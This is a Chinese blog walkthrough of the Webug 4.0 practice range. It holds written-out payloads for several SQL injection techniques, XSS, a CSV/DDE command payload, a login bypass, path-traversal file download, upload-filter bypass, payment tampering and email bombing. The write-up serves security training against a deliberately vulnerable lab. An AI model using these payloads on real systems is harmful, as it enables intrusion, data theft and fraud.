Webug4.0靶场通关
创始人
2024-05-23 19:48:44
0

14.Webug4.0靶场通关

显错注入

首先整体浏览网站

在这里插入图片描述

注入点:

control/sqlinject/manifest_error.php?id=1

判断注入类型

输入: and 1=1 正常, 再输入: and 1=2 还正常, 排除数字型

在这里插入图片描述

输入单引号: ’ 网页发生变化

在这里插入图片描述

输入’ – q注释掉单引号,页面回显正常 则为字符型

在这里插入图片描述

判断字段数

构造payload:

’ order by 3-- q

页面回显错误,而order by 2则回显正常,所以字段数为2

在这里插入图片描述

查找回显点

构造payload:

’ union select 1,2 – q

我们可以在2处得到我们想要的内容

在这里插入图片描述

查询数据库

’ union select 1,database() – q

为webug

在这里插入图片描述

查询所有数据库

’ union select 1,group_concat(schema_name) from information_schema.schemata – q

为information_schema,mysql,performance_schema,webug,webug_sys,webug_width_byte

在这里插入图片描述

查询数据库webug中的表

’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘webug’ – q

为data_crud,env_list,env_path,flag,sqlinjection,user,user_test

在这里插入图片描述

查看flag表的所有字段

’ union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘webug’ and table_name=‘flag’-- q

为id,flag

在这里插入图片描述

查看flag字段的内容

’ union select 1,group_concat(flag) from flag-- q

为dfafdasfafdsadfa

在这里插入图片描述

布尔注入

输入单引号: ’ 网页发生变化

在这里插入图片描述

输入’ – q注释掉单引号,页面回显正常 则为字符型

在这里插入图片描述

判断数据库长度为5

id=1’ and length(database())=5–+

爆破数据库名字为webug

id=1’ and ascii(substr(database(),1,1))=119 --+

判断当前数据库表数量为7

id=1’ and (select count(*) from information_schema.tables where table_schema=database())=7–+

判断第二张表,表名的长度为8

id=1’ and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8–+

爆破第二张表表名 第一个字符的ascii码值:101

id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101–+

爆破出8个ascii值为:101 110 118 95 108 105 115 116 解码为env_list

猜解env_list的字段数量为8

id=1’ and (select count(column_name) from information_schema.columns where table_name=‘env_list’)=8–+

猜解env_list第一个列名字符长度为2

id=1’ and (select length(column_name) from information_schema.columns where table_name=‘env_list’ limit 0,1)=2–+

猜解env_list第二个列名字符长度为7

id=1’ and (select length(column_name) from information_schema.columns where table_name=‘env_list’ limit 1,1)=7–+

猜解env_list第五个列名字符长度

id=1’ and (select length(column_name) from information_schema.columns where table_name=‘env_list’ limit 5,1)=7–+

爆破第五个列名,第一个字符的ascii为101

id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘env_list’ limit 5,1),1,1))=101–+

爆破第五个列名,第二个字符的ascii

id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘env_list’ limit 5,1),2,1))=110–+

爆破了7个字符,ascii码为101 110 118 70 108 97 103

解码后等于envFlag

猜解envFlag字段的记录为20

id=1’ and (select count(envFlag) from env_list)=20–+

猜解envFlag字段第一条字段的字符数为16

id=1’ and (select length(envFlag) from env_list limit 0,1)=16–+

猜解envFlag字段第二条字段有多少个字符

id=1’ and (select length(envFlag) from env_list limit 1,1)=9–+

猜解flag

id=1’ and ascii(substr((select envFlag from env_list limit 1,1),1,1))=102–+

id=1’ and ascii(substr((select envFlag from env_list limit 1,1),2,1))=100–+

最终爆破完flag的ascii值:

102 100 115 97 102 115 100 102 97

解码为:

fdsafsdfa

延时注入

延时注入语句和盲注的语句都类似,不过就是多了一个if语句去判断,如果正确或不正确都会返回相对应的响应时间。

可以看到我以下payload的规则:

1' and if(/*!上一关盲注语句*/,sleep(3),1)--+

出现延迟,说明存在注入

1’ and sleep(3)–+

判断数据库字符长度

1’ and if(length(database())=5,sleep(3),1)–+

爆破数据库名

1’ and if(ascii(substr(database(),1,1))=119,sleep(3),1)–+

1’ and if(ascii(substr(database(),2,1))=101,sleep(3),1)–+

判断当前数据库表数量

1’ and if((select count(*) from information_schema.tables where table_schema=database())=7,sleep(3),1)–+

判断第一张表,表名的长度

1’ and if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9,sleep(3),1)–+

判断第二张表,表名的长度

1’ and if((select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8,sleep(3),1)–+

爆破第二张表表名

第一个字符的ascii码值

1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101,sleep(3),1)–+

第二个字符的ascii码值

1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=110,sleep(3),1)–+

猜解表有多少个字段

1’ and if((select count(column_name) from information_schema.columns where table_name=‘env_list’)=8,sleep(3),1)–+

猜解表的第一个列名字符长度

1’ and if((select length(column_name) from information_schema.columns where table_name=‘env_list’ limit 0,1)=2,sleep(3),1)–+

爆破第五个列名,第一个字符的ascii

1’ and if(ascii(substr((select column_name from information_schema.columns where table_name=‘env_list’ limit 5,1),1,1))=101,sleep(3),1)–+

爆破第五个列名,第二个字符的ascii

猜解envFlag字段有多少条记录

1’ and if((select count(envFlag) from env_list)=20,sleep(3),1)–+

猜解envFlag字段第三条字段有多少个字符(flag在第三条记录)

1’ and if((select length(envFlag) from env_list limit 2,1)=9,sleep(3),1)–+

猜解flag

1’ and if(ascii(substr((select envFlag from env_list limit 2,1),1,1))=103,sleep(3),1)–+

1’ and if(ascii(substr((select envFlag from env_list limit 2,1),2,1))=102,sleep(3),1)–+

最后flag的ASCII码值为:

103 102 100 103 100 102 115 100 103

解码:

gfdgdfsdg

post注入

首先整体浏览网页

在这里插入图片描述

搜索框可能存在注入点,burp抓包,构造payload:

1’

出现报错

在这里插入图片描述

构造payload:

1’ or sleep(3)–+

页面出现延迟

在这里插入图片描述

剩下的操作和上一关一样 ,只需要将and改成or即可。

过滤注入

同上,并没有过滤。

宽字节注入

报错

id=1%df%27

如下

在这里插入图片描述

正常显示

id=1%df%27–+

如下

在这里插入图片描述

查看当前字段数,字段数为2

id=1%df%27 order by 2–+

如下

在这里插入图片描述

查看显示位

id=1%df%27 and 1=2 union select 1,2–+

我们可以在2处获得我们想要的内容

在这里插入图片描述

查看所有数据库

id=1%df%27%20and%201=2%20union%20select%201,concat(schema_name,0x7e)%20from%20information_schema.schemata–+

为information_schemamysqlperformance_schemawebugwebug_syswebug_width_byte

在这里插入图片描述

查看webug数据库下的所有表

id=1%df%27 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7765627567–+

为data_crud,env_list,env_path,flag,sqlinjection,user,user_test

在这里插入图片描述

查看env_list表下所有字段

id=1%df%27 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656E765F6C697374–+

为id,envName,envDesc,envIntegration,delFlag,envFlag,level,type

在这里插入图片描述

查看flag

id=1%df%27 and 1=2 union select 1,envFlag from webug.env_list limit 5,1–+

为dfsadfsadfas

在这里插入图片描述

xxe注入

整体浏览网站

在这里插入图片描述

因为是xxe注入,所以直接输入xml格式数据传输过去


xxexxe test

可以看到我们输入的内容会被显示出来,那么就代表xml代码能够被网站解析执行。

在这里插入图片描述

csv注入

1、什么是csv注入?

CSV公式注入(CSV Injection)是一种会造成巨大影响的攻击向量。攻击包含向恶意的EXCEL公式中注入可以输出或以CSV文件读取的参数。当在Excel中打开CSV文件时,文件会从CSV描述转变为原始的Excel格式,包括Excel提供的所有动态功能。在这个过程中,CSV中的所有Excel公式都会执行。当该函数有合法意图时,很易被滥用并允许恶意代码执行。

2.cvs注入的原理时是什么?

当输入一个公式,会被Excel自动运算并执行。而当你输入一个别的Excel本身不存在的功能时,Excel就会被微软的另一种机制:DDE机制调用。

3.什么是DDE?

DDE是一种动态数据交换机制(Dynamic Data Exchange,DDE)。使用DDE通讯需要两个Windows应用程序,其中一个作为服务器处理信息,另外一个作为客户机从服务器获得信息。客户机应用程序向当前所激活的服务器应用程序发送一条消息请求信息,服务器应用程序根据该信息作出应答,从而实现两个程序之间的数据交换。

构造payload:

=cmd|’ /C calc’!A0

在单元格中输入

在这里插入图片描述

按下回车键,会出现恶意提示

在这里插入图片描述

点击是,会弹出计算器

在这里插入图片描述

反射型xss

整体浏览网页

在这里插入图片描述

可以看到1是我们可控制点

pyaload:

id=1

成功弹窗

在这里插入图片描述

存储型xss

整体浏览网页,可以看到最后有一个留言框

在这里插入图片描述

构造payload:

成功弹窗

在这里插入图片描述

万能密码登陆

整体浏览网页

在这里插入图片描述

账号:admin

密码:’ or ‘1’='1

在这里插入图片描述

DOM型xss

打开靶场,可以看到输入框

在这里插入图片描述

构造payload:

"required=" ">

成功弹窗

在这里插入图片描述

过滤xss

过滤了script字符

在这里插入图片描述

换个标签:


成功弹窗

在这里插入图片描述

链接注入

"链接注入"是修改站点内容的行为,其方式为将外部站点的 URL 嵌入其中,或将有易受攻击的站点中的脚本 的 URL 嵌入其中。将 URL 嵌入易受攻击的站点中,攻击者便能够以它为平台来启动对其他站点的攻击,以及攻击这个易受攻击的站点本身。

在这些可能的攻击中,有些需要用户在攻击期间登录站点。攻击者从这一易受攻击的站点本身启动这些攻击,成功的机会比较大,因为用户登录的可能性更大。

“链接注入”漏洞是用户输入清理不充分的结果,清理结果会在稍后的站点响应中返回给用户。攻击者能够将危险字符注入响应中,便能够嵌入 URL 及其他可能的内容修改。

整体浏览网页

在这里插入图片描述

构造payload:

id=baidu

成功将百度嵌入到页面中

在这里插入图片描述

任意文件下载

打开网页,看到下载按钮

在这里插入图片描述

鼠标右键,点击复制链接地址

在这里插入图片描述

构造payload:

file=template/assets/img/1.txt

file=index.php

可以下载index.php,看到php源码

在这里插入图片描述

mysql配置文件下载

此题与上题原理相同,不过题目是需要我们下载mysql的配置文件

…/mysql/时,执行了下载命令,说明存在mysql目录

file=…/mysql/

直接下载my.ini

file=…/mysql/my.ini

成功下载

在这里插入图片描述

文件上传(前端拦截)

整体浏览网页,选择php类型的文件时会显示不允许上传

在这里插入图片描述

将phpinfo后缀名修改为png,burp抓包

在这里插入图片描述

将后缀名重新修改为php

在这里插入图片描述

点击上传,得到文件路径

在这里插入图片描述

成功访问

在这里插入图片描述

文件上传(畸形文件)

将文件命名为:

phpinfo.png

burp抓包后将文件名改成.pphphp

phpinfo.pphphp

即可绕过

在这里插入图片描述

访问路径

/template/upload/1616405351.php

上传成功

在这里插入图片描述

支付漏洞

进入靶场,点击立刻购买时,可以看到我们直接购买了商品

在这里插入图片描述

打开burp suite,点击立刻购买时,拦截数据包

在这里插入图片描述

可以看到金额为100,我们修改成0.01,然后发包,提示我们花了0.01购买了商品

在这里插入图片描述

邮箱轰炸

输入邮箱,点击注册,然后利用burp suite进行抓包

4p41ztex@linshiyouxiang.net

在这里插入图片描述

发送到intruder模块

设置payload:

选择Null payload

输入发送次数,20次

在这里插入图片描述

URL跳转

整体浏览网页

在这里插入图片描述

复制链接地址

在这里插入图片描述

构造payload:

url=https://www.baidu.com

url=https://www.bilibili.com

成功跳转

在这里插入图片描述

文件包含漏洞

整体浏览网站,本身就已经证明了是包含漏洞

在这里插入图片描述

构造payload:

filename=…/…/control/upload_file/upload_file_3.php

成功跳转到文件上传页面

在这里插入图片描述

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:
https://rdyx0.github.io/先知社区:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirectFreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

相关内容

热门资讯

监控摄像头接入GB28181平... 流程简介将监控摄像头的视频在网站和APP中直播,要解决的几个问题是:1&...
Windows10添加群晖磁盘... 在使用群晖NAS时,我们需要通过本地映射的方式把NAS映射成本地的一块磁盘使用。 通过...
protocol buffer... 目录 目录 什么是protocol buffer 1.protobuf 1.1安装  1.2使用...
在Word、WPS中插入AxM... 引言 我最近需要写一些文章,在排版时发现AxMath插入的公式竟然会导致行间距异常&#...
【PdgCntEditor】解... 一、问题背景 大部分的图书对应的PDF,目录中的页码并非PDF中直接索引的页码...
Fluent中创建监测点 1 概述某些仿真问题,需要创建监测点,用于获取空间定点的数据࿰...
educoder数据结构与算法...                                                   ...
MySQL下载和安装(Wind... 前言:刚换了一台电脑,里面所有东西都需要重新配置,习惯了所...
修复 爱普生 EPSON L4... L4151 L4153 L4156 L4158 L4163 L4165 L4166 L4168 L4...
MFC文件操作  MFC提供了一个文件操作的基类CFile,这个类提供了一个没有缓存的二进制格式的磁盘...